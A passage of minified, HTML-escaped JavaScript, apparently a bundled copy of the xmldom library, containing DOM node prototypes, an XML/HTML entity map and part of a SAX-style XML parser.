namespace&quot;,14),ExceptionCode.INVALID_ACCESS_ERR=(ExceptionMessage[15]=&quot;Invalid access&quot;,15),DOMException.prototype=Error.prototype,copy(ExceptionCode,DOMException),NodeList.prototype={length:0,item:function(index){return this[index]||null},toString:function(isHTML,nodeFilter){for(var buf=[],i=0;i&lt;this.length;i++)serializeToString(this[i],buf,isHTML,nodeFilter);return buf.join(&quot;&quot;)}},LiveNodeList.prototype.item=function(i){return _updateLiveList(this),this[i]},_extends(LiveNodeList,NodeList),NamedNodeMap.prototype={length:0,item:NodeList.prototype.item,getNamedItem:function(key){for(var i=this.length;i--;){var attr=this[i];if(attr.nodeName==key)return attr}},setNamedItem:function(attr){var el=attr.ownerElement;if(el&amp;&amp;el!=this._ownerElement)throw new DOMException(INUSE_ATTRIBUTE_ERR);var oldAttr=this.getNamedItem(attr.nodeName);return _addNamedNode(this._ownerElement,this,attr,oldAttr),oldAttr},setNamedItemNS:function(attr){var oldAttr,el=attr.ownerElement;if(el&amp;&amp;el!=this._ownerElement)throw new DOMException(INUSE_ATTRIBUTE_ERR);return oldAttr=this.getNamedItemNS(attr.namespaceURI,attr.localName),_addNamedNode(this._ownerElement,this,attr,oldAttr),oldAttr},removeNamedItem:function(key){var attr=this.getNamedItem(key);return _removeNamedNode(this._ownerElement,this,attr),attr},removeNamedItemNS:function(namespaceURI,localName){var attr=this.getNamedItemNS(namespaceURI,localName);return _removeNamedNode(this._ownerElement,this,attr),attr},getNamedItemNS:function(namespaceURI,localName){for(var i=this.length;i--;){var node=this[i];if(node.localName==localName&amp;&amp;node.namespaceURI==namespaceURI)return node}return null}},DOMImplementation$1.prototype={hasFeature:function(feature,version){return!0},createDocument:function(namespaceURI,qualifiedName,doctype){var doc=new Document;if(doc.implementation=this,doc.childNodes=new NodeList,doc.doctype=doctype||null,doctype&amp;&amp;doc.appendChild(doctype),qualifiedName){var root=doc.createElementNS(namespaceURI,qualifiedName);doc.appendChild(root)}return doc},createDocumentType:function(qualifiedName,publicId,systemId){var node=new DocumentType;return node.name=qualifiedName,node.nodeName=qualifiedName,node.publicId=publicId||&quot;&quot;,node.systemId=systemId||&quot;&quot;,node}},Node.prototype={firstChild:null,lastChild:null,previousSibling:null,nextSibling:null,attributes:null,parentNode:null,childNodes:null,ownerDocument:null,nodeValue:null,namespaceURI:null,prefix:null,localName:null,insertBefore:function(newChild,refChild){return _insertBefore(this,newChild,refChild)},replaceChild:function(newChild,oldChild){this.insertBefore(newChild,oldChild),oldChild&amp;&amp;this.removeChild(oldChild)},removeChild:function(oldChild){return _removeChild(this,oldChild)},appendChild:function(newChild){return this.insertBefore(newChild,null)},hasChildNodes:function(){return null!=this.firstChild},cloneNode:function(deep){return _cloneNode(this.ownerDocument||this,this,deep)},normalize:function(){for(var child=this.firstChild;child;){var next=child.nextSibling;next&amp;&amp;next.nodeType==TEXT_NODE&amp;&amp;child.nodeType==TEXT_NODE?(this.removeChild(next),child.appendData(next.data)):(child.normalize(),child=next)}},isSupported:function(feature,version){return this.ownerDocument.implementation.hasFeature(feature,version)},hasAttributes:function(){return this.attributes.length&gt;0},lookupPrefix:function(namespaceURI){for(var el=this;el;){var map=el._nsMap;if(map)for(var n in map)if(map[n]==namespaceURI)return n;el=el.nodeType==ATTRIBUTE_NODE?el.ownerDocument:el.parentNode}return null},lookupNamespaceURI:function(prefix){for(var el=this;el;){var map=el._nsMap;if(map&amp;&amp;prefix in map)return map[prefix];el=el.nodeType==ATTRIBUTE_NODE?el.ownerDocument:el.parentNode}return null},isDefaultNamespace:function(namespaceURI){return null==this.lookupPrefix(namespaceURI)}},copy(NodeType,Node),copy(NodeType,Node.prototype),Document.prototype={nodeName:&quot;#document&quot;,nodeType:DOCUMENT_NODE,doctype:null,documentElement:null,_inc:1,insertBefore:function(newChild,refChild){if(newChild.nodeType==DOCUMENT_FRAGMENT_NODE){for(var child=newChild.firstChild;child;){var next=child.nextSibling;this.insertBefore(child,refChild),child=next}return newChild}return null==this.documentElement&amp;&amp;newChild.nodeType==ELEMENT_NODE&amp;&amp;(this.documentElement=newChild),_insertBefore(this,newChild,refChild),newChild.ownerDocument=this,newChild},removeChild:function(oldChild){return this.documentElement==oldChild&amp;&amp;(this.documentElement=null),_removeChild(this,oldChild)},importNode:function(importedNode,deep){return _importNode(this,importedNode,deep)},getElementById:function(id){var rtv=null;return _visitNode(this.documentElement,(function(node){if(node.nodeType==ELEMENT_NODE&amp;&amp;node.getAttribute(&quot;id&quot;)==id)return rtv=node,!0})),rtv},getElementsByClassName:function(classNames){var classNamesSet=toOrderedSet(classNames);return new LiveNodeList(this,(function(base){var ls=[];return classNamesSet.length&gt;0&amp;&amp;_visitNode(base.documentElement,(function(node){if(node!==base&amp;&amp;node.nodeType===ELEMENT_NODE){var nodeClassNames=node.getAttribute(&quot;class&quot;);if(nodeClassNames){var matches=classNames===nodeClassNames;if(!matches){var nodeClassNamesSet=toOrderedSet(nodeClassNames);matches=classNamesSet.every((list=nodeClassNamesSet,function(element){return list&amp;&amp;-1!==list.indexOf(element)}))}matches&amp;&amp;ls.push(node)}}var list})),ls}))},createElement:function(tagName){var node=new Element;return node.ownerDocument=this,node.nodeName=tagName,node.tagName=tagName,node.localName=tagName,node.childNodes=new NodeList,(node.attributes=new NamedNodeMap)._ownerElement=node,node},createDocumentFragment:function(){var node=new DocumentFragment;return node.ownerDocument=this,node.childNodes=new NodeList,node},createTextNode:function(data){var node=new Text;return node.ownerDocument=this,node.appendData(data),node},createComment:function(data){var node=new Comment;return node.ownerDocument=this,node.appendData(data),node},createCDATASection:function(data){var node=new CDATASection;return node.ownerDocument=this,node.appendData(data),node},createProcessingInstruction:function(target,data){var node=new ProcessingInstruction;return node.ownerDocument=this,node.tagName=node.target=target,node.nodeValue=node.data=data,node},createAttribute:function(name){var node=new Attr;return node.ownerDocument=this,node.name=name,node.nodeName=name,node.localName=name,node.specified=!0,node},createEntityReference:function(name){var node=new EntityReference;return node.ownerDocument=this,node.nodeName=name,node},createElementNS:function(namespaceURI,qualifiedName){var node=new Element,pl=qualifiedName.split(&quot;:&quot;),attrs=node.attributes=new NamedNodeMap;return node.childNodes=new NodeList,node.ownerDocument=this,node.nodeName=qualifiedName,node.tagName=qualifiedName,node.namespaceURI=namespaceURI,2==pl.length?(node.prefix=pl[0],node.localName=pl[1]):node.localName=qualifiedName,attrs._ownerElement=node,node},createAttributeNS:function(namespaceURI,qualifiedName){var node=new Attr,pl=qualifiedName.split(&quot;:&quot;);return node.ownerDocument=this,node.nodeName=qualifiedName,node.name=qualifiedName,node.namespaceURI=namespaceURI,node.specified=!0,2==pl.length?(node.prefix=pl[0],node.localName=pl[1]):node.localName=qualifiedName,node}},_extends(Document,Node),Element.prototype={nodeType:ELEMENT_NODE,hasAttribute:function(name){return null!=this.getAttributeNode(name)},getAttribute:function(name){var attr=this.getAttributeNode(name);return attr&amp;&amp;attr.value||&quot;&quot;},getAttributeNode:function(name){return this.attributes.getNamedItem(name)},setAttribute:function(name,value){var attr=this.ownerDocument.createAttribute(name);attr.value=attr.nodeValue=&quot;&quot;+value,this.setAttributeNode(attr)},removeAttribute:function(name){var attr=this.getAttributeNode(name);attr&amp;&amp;this.removeAttributeNode(attr)},appendChild:function(newChild){return newChild.nodeType===DOCUMENT_FRAGMENT_NODE?this.insertBefore(newChild,null):function(parentNode,newChild){var cp=newChild.parentNode;if(cp){var pre=parentNode.lastChild;cp.removeChild(newChild),pre=parentNode.lastChild}return pre=parentNode.lastChild,newChild.parentNode=parentNode,newChild.previousSibling=pre,newChild.nextSibling=null,pre?pre.nextSibling=newChild:parentNode.firstChild=newChild,parentNode.lastChild=newChild,_onUpdateChild(parentNode.ownerDocument,parentNode,newChild),newChild}(this,newChild)},setAttributeNode:function(newAttr){return this.attributes.setNamedItem(newAttr)},setAttributeNodeNS:function(newAttr){return this.attributes.setNamedItemNS(newAttr)},removeAttributeNode:function(oldAttr){return this.attributes.removeNamedItem(oldAttr.nodeName)},removeAttributeNS:function(namespaceURI,localName){var old=this.getAttributeNodeNS(namespaceURI,localName);old&amp;&amp;this.removeAttributeNode(old)},hasAttributeNS:function(namespaceURI,localName){return null!=this.getAttributeNodeNS(namespaceURI,localName)},getAttributeNS:function(namespaceURI,localName){var attr=this.getAttributeNodeNS(namespaceURI,localName);return attr&amp;&amp;attr.value||&quot;&quot;},setAttributeNS:function(namespaceURI,qualifiedName,value){var attr=this.ownerDocument.createAttributeNS(namespaceURI,qualifiedName);attr.value=attr.nodeValue=&quot;&quot;+value,this.setAttributeNode(attr)},getAttributeNodeNS:function(namespaceURI,localName){return this.attributes.getNamedItemNS(namespaceURI,localName)},getElementsByTagName:function(tagName){return new LiveNodeList(this,(function(base){var ls=[];return _visitNode(base,(function(node){node===base||node.nodeType!=ELEMENT_NODE||&quot;*&quot;!==tagName&amp;&amp;node.tagName!=tagName||ls.push(node)})),ls}))},getElementsByTagNameNS:function(namespaceURI,localName){return new LiveNodeList(this,(function(base){var ls=[];return _visitNode(base,(function(node){node===base||node.nodeType!==ELEMENT_NODE||&quot;*&quot;!==namespaceURI&amp;&amp;node.namespaceURI!==namespaceURI||&quot;*&quot;!==localName&amp;&amp;node.localName!=localName||ls.push(node)})),ls}))}},Document.prototype.getElementsByTagName=Element.prototype.getElementsByTagName,Document.prototype.getElementsByTagNameNS=Element.prototype.getElementsByTagNameNS,_extends(Element,Node),Attr.prototype.nodeType=ATTRIBUTE_NODE,_extends(Attr,Node),CharacterData.prototype={data:&quot;&quot;,substringData:function(offset,count){return this.data.substring(offset,offset+count)},appendData:function(text){text=this.data+text,this.nodeValue=this.data=text,this.length=text.length},insertData:function(offset,text){this.replaceData(offset,0,text)},appendChild:function(newChild){throw new Error(ExceptionMessage[HIERARCHY_REQUEST_ERR])},deleteData:function(offset,count){this.replaceData(offset,count,&quot;&quot;)},replaceData:function(offset,count,text){text=this.data.substring(0,offset)+text+this.data.substring(offset+count),this.nodeValue=this.data=text,this.length=text.length}},_extends(CharacterData,Node),Text.prototype={nodeName:&quot;#text&quot;,nodeType:TEXT_NODE,splitText:function(offset){var text=this.data,newText=text.substring(offset);text=text.substring(0,offset),this.data=this.nodeValue=text,this.length=text.length;var newNode=this.ownerDocument.createTextNode(newText);return this.parentNode&amp;&amp;this.parentNode.insertBefore(newNode,this.nextSibling),newNode}},_extends(Text,CharacterData),Comment.prototype={nodeName:&quot;#comment&quot;,nodeType:COMMENT_NODE},_extends(Comment,CharacterData),CDATASection.prototype={nodeName:&quot;#cdata-section&quot;,nodeType:CDATA_SECTION_NODE},_extends(CDATASection,CharacterData),DocumentType.prototype.nodeType=DOCUMENT_TYPE_NODE,_extends(DocumentType,Node),Notation.prototype.nodeType=NOTATION_NODE,_extends(Notation,Node),Entity.prototype.nodeType=ENTITY_NODE,_extends(Entity,Node),EntityReference.prototype.nodeType=ENTITY_REFERENCE_NODE,_extends(EntityReference,Node),DocumentFragment.prototype.nodeName=&quot;#document-fragment&quot;,DocumentFragment.prototype.nodeType=DOCUMENT_FRAGMENT_NODE,_extends(DocumentFragment,Node),ProcessingInstruction.prototype.nodeType=PROCESSING_INSTRUCTION_NODE,_extends(ProcessingInstruction,Node),XMLSerializer$1.prototype.serializeToString=function(node,isHtml,nodeFilter){return nodeSerializeToString.call(node,isHtml,nodeFilter)},Node.prototype.toString=nodeSerializeToString;try{if(Object.defineProperty){var getTextContent=function getTextContent(node){switch(node.nodeType){case ELEMENT_NODE:case DOCUMENT_FRAGMENT_NODE:var buf=[];for(node=node.firstChild;node;)7!==node.nodeType&amp;&amp;8!==node.nodeType&amp;&amp;buf.push(getTextContent(node)),node=node.nextSibling;return buf.join(&quot;&quot;);default:return node.nodeValue}};Object.defineProperty(LiveNodeList.prototype,&quot;length&quot;,{get:function(){return _updateLiveList(this),this.$$length}}),Object.defineProperty(Node.prototype,&quot;textContent&quot;,{get:function(){return getTextContent(this)},set:function(data){switch(this.nodeType){case ELEMENT_NODE:case DOCUMENT_FRAGMENT_NODE:for(;this.firstChild;)this.removeChild(this.firstChild);(data||String(data))&amp;&amp;this.appendChild(this.ownerDocument.createTextNode(data));break;default:this.data=data,this.value=data,this.nodeValue=data}}}),__set__=function(object,key,value){object[&quot;$$&quot;+key]=value}}}catch(e){}var dom={DocumentType:DocumentType,DOMException:DOMException,DOMImplementation:DOMImplementation$1,Element:Element,Node:Node,NodeList:NodeList,XMLSerializer:XMLSerializer$1},entities=createCommonjsModule((function(module,exports){var freeze=conventions.freeze;exports.XML_ENTITIES=freeze({amp:&quot;&amp;&quot;,apos:&quot;&#039;&quot;,gt:&quot;&gt;&quot;,lt:&quot;&lt;&quot;,quot:&#039;&quot;&#039;}),exports.HTML_ENTITIES=freeze({lt:&quot;&lt;&quot;,gt:&quot;&gt;&quot;,amp:&quot;&amp;&quot;,quot:&#039;&quot;&#039;,apos:&quot;&#039;&quot;,Agrave:&quot;À&quot;,Aacute:&quot;Á&quot;,Acirc:&quot;Â&quot;,Atilde:&quot;Ã&quot;,Auml:&quot;Ä&quot;,Aring:&quot;Å&quot;,AElig:&quot;Æ&quot;,Ccedil:&quot;Ç&quot;,Egrave:&quot;È&quot;,Eacute:&quot;É&quot;,Ecirc:&quot;Ê&quot;,Euml:&quot;Ë&quot;,Igrave:&quot;Ì&quot;,Iacute:&quot;Í&quot;,Icirc:&quot;Î&quot;,Iuml:&quot;Ï&quot;,ETH:&quot;Ð&quot;,Ntilde:&quot;Ñ&quot;,Ograve:&quot;Ò&quot;,Oacute:&quot;Ó&quot;,Ocirc:&quot;Ô&quot;,Otilde:&quot;Õ&quot;,Ouml:&quot;Ö&quot;,Oslash:&quot;Ø&quot;,Ugrave:&quot;Ù&quot;,Uacute:&quot;Ú&quot;,Ucirc:&quot;Û&quot;,Uuml:&quot;Ü&quot;,Yacute:&quot;Ý&quot;,THORN:&quot;Þ&quot;,szlig:&quot;ß&quot;,agrave:&quot;à&quot;,aacute:&quot;á&quot;,acirc:&quot;â&quot;,atilde:&quot;ã&quot;,auml:&quot;ä&quot;,aring:&quot;å&quot;,aelig:&quot;æ&quot;,ccedil:&quot;ç&quot;,egrave:&quot;è&quot;,eacute:&quot;é&quot;,ecirc:&quot;ê&quot;,euml:&quot;ë&quot;,igrave:&quot;ì&quot;,iacute:&quot;í&quot;,icirc:&quot;î&quot;,iuml:&quot;ï&quot;,eth:&quot;ð&quot;,ntilde:&quot;ñ&quot;,ograve:&quot;ò&quot;,oacute:&quot;ó&quot;,ocirc:&quot;ô&quot;,otilde:&quot;õ&quot;,ouml:&quot;ö&quot;,oslash:&quot;ø&quot;,ugrave:&quot;ù&quot;,uacute:&quot;ú&quot;,ucirc:&quot;û&quot;,uuml:&quot;ü&quot;,yacute:&quot;ý&quot;,thorn:&quot;þ&quot;,yuml:&quot;ÿ&quot;,nbsp:&quot; &quot;,iexcl:&quot;¡&quot;,cent:&quot;¢&quot;,pound:&quot;£&quot;,curren:&quot;¤&quot;,yen:&quot;¥&quot;,brvbar:&quot;¦&quot;,sect:&quot;§&quot;,uml:&quot;¨&quot;,copy:&quot;©&quot;,ordf:&quot;ª&quot;,laquo:&quot;«&quot;,not:&quot;¬&quot;,shy:&quot;­­&quot;,reg:&quot;®&quot;,macr:&quot;¯&quot;,deg:&quot;°&quot;,plusmn:&quot;±&quot;,sup2:&quot;²&quot;,sup3:&quot;³&quot;,acute:&quot;´&quot;,micro:&quot;µ&quot;,para:&quot;¶&quot;,middot:&quot;·&quot;,cedil:&quot;¸&quot;,sup1:&quot;¹&quot;,ordm:&quot;º&quot;,raquo:&quot;»&quot;,frac14:&quot;¼&quot;,frac12:&quot;½&quot;,frac34:&quot;¾&quot;,iquest:&quot;¿&quot;,times:&quot;×&quot;,divide:&quot;÷&quot;,forall:&quot;∀&quot;,part:&quot;∂&quot;,exist:&quot;∃&quot;,empty:&quot;∅&quot;,nabla:&quot;∇&quot;,isin:&quot;∈&quot;,notin:&quot;∉&quot;,ni:&quot;∋&quot;,prod:&quot;∏&quot;,sum:&quot;∑&quot;,minus:&quot;−&quot;,lowast:&quot;∗&quot;,radic:&quot;√&quot;,prop:&quot;∝&quot;,infin:&quot;∞&quot;,ang:&quot;∠&quot;,and:&quot;∧&quot;,or:&quot;∨&quot;,cap:&quot;∩&quot;,cup:&quot;∪&quot;,int:&quot;∫&quot;,there4:&quot;∴&quot;,sim:&quot;∼&quot;,cong:&quot;≅&quot;,asymp:&quot;≈&quot;,ne:&quot;≠&quot;,equiv:&quot;≡&quot;,le:&quot;≤&quot;,ge:&quot;≥&quot;,sub:&quot;⊂&quot;,sup:&quot;⊃&quot;,nsub:&quot;⊄&quot;,sube:&quot;⊆&quot;,supe:&quot;⊇&quot;,oplus:&quot;⊕&quot;,otimes:&quot;⊗&quot;,perp:&quot;⊥&quot;,sdot:&quot;⋅&quot;,Alpha:&quot;Α&quot;,Beta:&quot;Β&quot;,Gamma:&quot;Γ&quot;,Delta:&quot;Δ&quot;,Epsilon:&quot;Ε&quot;,Zeta:&quot;Ζ&quot;,Eta:&quot;Η&quot;,Theta:&quot;Θ&quot;,Iota:&quot;Ι&quot;,Kappa:&quot;Κ&quot;,Lambda:&quot;Λ&quot;,Mu:&quot;Μ&quot;,Nu:&quot;Ν&quot;,Xi:&quot;Ξ&quot;,Omicron:&quot;Ο&quot;,Pi:&quot;Π&quot;,Rho:&quot;Ρ&quot;,Sigma:&quot;Σ&quot;,Tau:&quot;Τ&quot;,Upsilon:&quot;Υ&quot;,Phi:&quot;Φ&quot;,Chi:&quot;Χ&quot;,Psi:&quot;Ψ&quot;,Omega:&quot;Ω&quot;,alpha:&quot;α&quot;,beta:&quot;β&quot;,gamma:&quot;γ&quot;,delta:&quot;δ&quot;,epsilon:&quot;ε&quot;,zeta:&quot;ζ&quot;,eta:&quot;η&quot;,theta:&quot;θ&quot;,iota:&quot;ι&quot;,kappa:&quot;κ&quot;,lambda:&quot;λ&quot;,mu:&quot;μ&quot;,nu:&quot;ν&quot;,xi:&quot;ξ&quot;,omicron:&quot;ο&quot;,pi:&quot;π&quot;,rho:&quot;ρ&quot;,sigmaf:&quot;ς&quot;,sigma:&quot;σ&quot;,tau:&quot;τ&quot;,upsilon:&quot;υ&quot;,phi:&quot;φ&quot;,chi:&quot;χ&quot;,psi:&quot;ψ&quot;,omega:&quot;ω&quot;,thetasym:&quot;ϑ&quot;,upsih:&quot;ϒ&quot;,piv:&quot;ϖ&quot;,OElig:&quot;Œ&quot;,oelig:&quot;œ&quot;,Scaron:&quot;Š&quot;,scaron:&quot;š&quot;,Yuml:&quot;Ÿ&quot;,fnof:&quot;ƒ&quot;,circ:&quot;ˆ&quot;,tilde:&quot;˜&quot;,ensp:&quot; &quot;,emsp:&quot; &quot;,thinsp:&quot; &quot;,zwnj:&quot;‌&quot;,zwj:&quot;‍&quot;,lrm:&quot;‎&quot;,rlm:&quot;‏&quot;,ndash:&quot;–&quot;,mdash:&quot;—&quot;,lsquo:&quot;‘&quot;,rsquo:&quot;’&quot;,sbquo:&quot;‚&quot;,ldquo:&quot;“&quot;,rdquo:&quot;”&quot;,bdquo:&quot;„&quot;,dagger:&quot;†&quot;,Dagger:&quot;‡&quot;,bull:&quot;•&quot;,hellip:&quot;…&quot;,permil:&quot;‰&quot;,prime:&quot;′&quot;,Prime:&quot;″&quot;,lsaquo:&quot;‹&quot;,rsaquo:&quot;›&quot;,oline:&quot;‾&quot;,euro:&quot;€&quot;,trade:&quot;™&quot;,larr:&quot;←&quot;,uarr:&quot;↑&quot;,rarr:&quot;→&quot;,darr:&quot;↓&quot;,harr:&quot;↔&quot;,crarr:&quot;↵&quot;,lceil:&quot;⌈&quot;,rceil:&quot;⌉&quot;,lfloor:&quot;⌊&quot;,rfloor:&quot;⌋&quot;,loz:&quot;◊&quot;,spades:&quot;♠&quot;,clubs:&quot;♣&quot;,hearts:&quot;♥&quot;,diams:&quot;♦&quot;}),exports.entityMap=exports.HTML_ENTITIES}));entities.XML_ENTITIES,entities.HTML_ENTITIES,entities.entityMap;var NAMESPACE$1=conventions.NAMESPACE,nameStartChar=/[A-Z_a-z\xC0-\xD6\xD8-\xF6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD]/,nameChar=new RegExp(&quot;[\\-\\.0-9&quot;+nameStartChar.source.slice(1,-1)+&quot;\\u00B7\\u0300-\\u036F\\u203F-\\u2040]&quot;),tagNamePattern=new RegExp(&quot;^&quot;+nameStartChar.source+nameChar.source+&quot;*(?::&quot;+nameStartChar.source+nameChar.source+&quot;*)?$&quot;);function ParseError$1(message,locator){this.message=message,this.locator=locator,Error.captureStackTrace&amp;&amp;Error.captureStackTrace(this,ParseError$1)}function XMLReader$1(){}function copyLocator(f,t){return t.lineNumber=f.lineNumber,t.columnNumber=f.columnNumber,t}function parseElementStartPart(source,start,el,currentNSMap,entityReplacer,errorHandler){function addAttribute(qname,value,startIndex){el.attributeNames.hasOwnProperty(qname)&amp;&amp;errorHandler.fatalError(&quot;Attribute &quot;+qname+&quot; redefined&quot;),el.addValue(qname,value,startIndex)}for(var attrName,p=++start,s=0;;){var c=source.charAt(p);switch(c){case&quot;=&quot;:if(1===s)attrName=source.slice(start,p),s=3;else{if(2!==s)throw new Error(&quot;attribute equal must after attrName&quot;);s=3}break;case&quot;&#039;&quot;:case&#039;&quot;&#039;:if(3===s||1===s){if(1===s&amp;&amp;(errorHandler.warning(&#039;attribute value must after &quot;=&quot;&#039;),attrName=source.slice(start,p)),start=p+1,!((p=source.indexOf(c,start))&gt;0))throw new Error(&quot;attribute value no end &#039;&quot;+c+&quot;&#039; match&quot;);addAttribute(attrName,value=source.slice(start,p).replace(/&amp;#?\w+;/g,entityReplacer),start-1),s=5}else{if(4!=s)throw new Error(&#039;attribute value must after &quot;=&quot;&#039;);addAttribute(attrName,value=source.slice(start,p).replace(/&amp;#?\w+;/g,entityReplacer),start),errorHandler.warning(&#039;attribute &quot;&#039;+attrName+&#039;&quot; missed start quot(&#039;+c+&quot;)!!&quot;),start=p+1,s=5}break;case&quot;/&quot;:switch(s){case 0:el.setTagName(source.slice(start,p));case 5:case 6:case 7:s=7,el.closed=!0;case 4:case 1:case 2:break;default:throw new Error(&quot;attribute invalid close char(&#039;/&#039;)&quot;)}break;case&quot;&quot;:return errorHandler.error(&quot;unexpected end of input&quot;),0==s&amp;&amp;el.setTagName(source.slice(start,p)),p;case&quot;&gt;&quot;:switch(s){case 0:el.setTagName(source.slice(start,p));case 5:case 6:case 7:break;case 4:case 1:&quot;/&quot;===(value=source.slice(start,p)).slice(-1)&amp;&amp;(el.closed=!0,value=value.slice(0,-1));case 2:2===s&amp;&amp;(value=attrName),4==s?(errorHandler.warning(&#039;attribute &quot;&#039;+value+&#039;&quot; missed quot(&quot;)!&#039;),addAttribute(attrName,value.replace(/&amp;#?\w+;/g,entityReplacer),start)):(NAMESPACE$1.isHTML(currentNSMap[&quot;&quot;])&amp;&amp;value.match(/^(?:disabled|checked|selected)$/i)||errorHandler.warning(&#039;attribute &quot;&#039;+value+&#039;&quot; missed value!! &quot;&#039;+value+&#039;&quot; instead!!&#039;),addAttribute(value,value,start));break;case 3:throw new Error(&quot;attribute value missed!!&quot;)}return p;case&quot;&quot;:c=&quot; &quot;;default:if(c&lt;=&quot; &quot;)switch(s){case 0:el.setTagName(source.slice(start,p)),s=6;break;case 1:attrName=source.slice(start,p),s=2;break;case 4:var value=source.slice(start,p).replace(/&amp;#?\w+;/g,entityReplacer);errorHandler.warning(&#039;attribute &quot;&#039;+value+&#039;&quot; missed quot(&quot;)!!&#039;),addAttribute(attrName,value,start);case 5:s=6}else switch(s){case 2:el.tagName,NAMESPACE$1.isHTML(currentNSMap[&quot;&quot;])&amp;&amp;attrName.match(/^(?:disabled|checked|selected)$/i)||errorHandler.warning(&#039;attribute &quot;&#039;+attrName+&#039;&quot; missed value!! &quot;&#039;+attrName+&#039;&quot; instead2!!&#039;),addAttribute(attrName,attrName,start),start=p,s=1;break;case 5:errorHandler.warning(&#039;attribute space is required&quot;&#039;+attrName+&#039;&quot;!!&#039;);case 6:s=1,start=p;break;case 3:s=4,start=p;break;case 7:throw new Error(&quot;elements closed character &#039;/&#039; and &#039;&gt;&#039; must be connected to&quot;)}}p++}}function appendElement$1(el,domBuilder,currentNSMap){for(var tagName=el.tagName,localNSMap=null,i=el.length;i--;){var a=el[i],qName=a.qName,value=a.value;if((nsp=qName.indexOf(&quot;:&quot;))&gt;0)var prefix=a.prefix=qName.slice(0,nsp),localName=qName.slice(nsp+1),nsPrefix=&quot;xmlns&quot;===prefix&amp;&amp;localName;else localName=qName,prefix=null,nsPrefix=&quot;xmlns&quot;===qName&amp;&amp;&quot;&quot;;a.localName=localName,!1!==nsPrefix&amp;&amp;(null==localNSMap&amp;&amp;(localNSMap={},_copy(currentNSMap,currentNSMap={})),currentNSMap[nsPrefix]=localNSMap[nsPrefix]=value,a.uri=NAMESPACE$1.XMLNS,domBuilder.startPrefixMapping(nsPrefix,value))}for(i=el.length;i--;){(prefix=(a=el[i]).prefix)&amp;&amp;(&quot;xml&quot;===prefix&amp;&amp;(a.uri=NAMESPACE$1.XML),&quot;xmlns&quot;!==prefix&amp;&amp;(a.uri=currentNSMap[prefix||&quot;&quot;]))}var nsp;(nsp=tagName.indexOf(&quot;:&quot;))&gt;0?(prefix=el.prefix=tagName.slice(0,nsp),localName=el.localName=tagName.slice(nsp+1)):(prefix=null,localName=el.localName=tagName);var ns=el.uri=currentNSMap[prefix||&quot;&quot;];if(domBuilder.startElement(ns,localName,tagName,el),!el.closed)return el.currentNSMap=currentNSMap,el.localNSMap=localNSMap,!0;if(domBuilder.endElement(ns,localName,tagName),localNSMap)for(prefix in localNSMap)domBuilder.endPrefixMapping(prefix)}function parseHtmlSpecialContent(source,elStartEnd,tagName,entityReplacer,domBuilder){if(/^(?:script|textarea)$/i.test(tagName)){var elEndStart=source.indexOf(&quot;&lt;/&quot;+tagName+&quot;&gt;&quot;,elStartEnd),text=source.substring(elStartEnd+1,elEndStart);if(/[&amp;&lt;]/.test(text))return/^script$/i.test(tagName)?(domBuilder.characters(text,0,text.length),elEndStart):(text=text.replace(/&amp;#?\w+;/g,entityReplacer),domBuilder.characters(text,0,text.length),elEndStart)}return elStartEnd+1}function fixSelfClosed(source,elStartEnd,tagName,closeMap){var pos=closeMap[tagName];return null==pos&amp;&amp;((pos=source.lastIndexOf(&quot;&lt;/&quot;+tagName+&quot;&gt;&quot;))&lt;elStartEnd&amp;&amp;(pos=source.lastIndexOf(&quot;&lt;/&quot;+tagName)),closeMap[tagName]=pos),pos&lt;elStartEnd}function _copy(source,target){for(var n in source)target[n]=source[n]}function parseDCC(source,start,domBuilder,errorHandler){if(&quot;-&quot;===source.charAt(start+2))return&quot;-&quot;===source.charAt(start+3)?(end=source.indexOf(&quot;--\x3e&quot;,start+4))&gt;start?(domBuilder.comment(source,start+4,end-start-4),end+3):(errorHandler.error(&quot;Unclosed comment&quot;),-1):-1;if(&quot;CDATA[&quot;==source.substr(start+3,6)){var end=source.indexOf(&quot;]]&gt;&quot;,start+9);return domBuilder.startCDATA(),domBuilder.characters(source,start+9,end-start-9),domBuilder.endCDATA(),end+3}var matchs=function(source,start){var match,buf=[],reg=/&#039;[^&#039;]+&#039;|&quot;[^&quot;]+&quot;|[^\s&lt;&gt;\/=]+=?|(\/?\s*&gt;|&lt;)/g;reg.lastIndex=start,reg.exec(source);for(;match=reg.exec(source);)if(buf.push(match),match[1])return buf}(source,start),len=matchs.length;if(len&gt;1&amp;&amp;/!doctype/i.test(matchs[0][0])){var name=matchs[1][0],pubid=!1,sysid=!1;len&gt;3&amp;&amp;(/^public$/i.test(matchs[2][0])?(pubid=matchs[3][0],sysid=len&gt;4&amp;&amp;matchs[4][0]):/^system$/i.test(matchs[2][0])&amp;&amp;(sysid=matchs[3][0]));var lastMatch=matchs[len-1];return domBuilder.startDTD(name,pubid,sysid),domBuilder.endDTD(),lastMatch.index+lastMatch[0].length}return-1}function parseInstruction(source,start,domBuilder){var end=source.indexOf(&quot;?&gt;&quot;,start);if(end){var match=source.substring(start,end).match(/^&lt;\?(\S*)\s*([\s\S]*?)\s*$/);return match?(match[0].length,domBuilder.processingInstruction(match[1],match[2]),end+2):-1}return-1}function ElementAttributes(){this.attributeNames={}}ParseError$1.prototype=new Error,ParseError$1.prototype.name=ParseError$1.name,XMLReader$1.prototype={parse:function(source,defaultNSMap,entityMap){var domBuilder=this.domBuilder;domBuilder.startDocument(),_copy(defaultNSMap,defaultNSMap={}),function(source,defaultNSMapCopy,entityMap,domBuilder,errorHandler){function fixedFromCharCode(code){if(code&gt;65535){var surrogate1=55296+((code-=65536)&gt;&gt;10),surrogate2=56320+(1023&amp;code);return String.fromCharCode(surrogate1,surrogate2)}return String.fromCharCode(code)}function entityReplacer(a){var k=a.slice(1,-1);return k in entityMap?entityMap[k]:&quot;#&quot;===k.charAt(0)?fixedFromCharCode(parseInt(k.substr(1).replace(&quot;x&quot;,&quot;0x&quot;))):(errorHandler.error(&quot;entity not found:&quot;+a),a)}function appendText(end){if(end&gt;start){var xt=source.substring(start,end).replace(/&amp;#?\w+;/g,entityReplacer);locator&amp;&amp;position(start),domBuilder.characters(xt,0,end-start),start=end}}function position(p,m){for(;p&gt;=lineEnd&amp;&amp;(m=linePattern.exec(source));)lineStart=m.index,lineEnd=lineStart+m[0].length,locator.lineNumber++;locator.columnNumber=p-lineStart+1}var 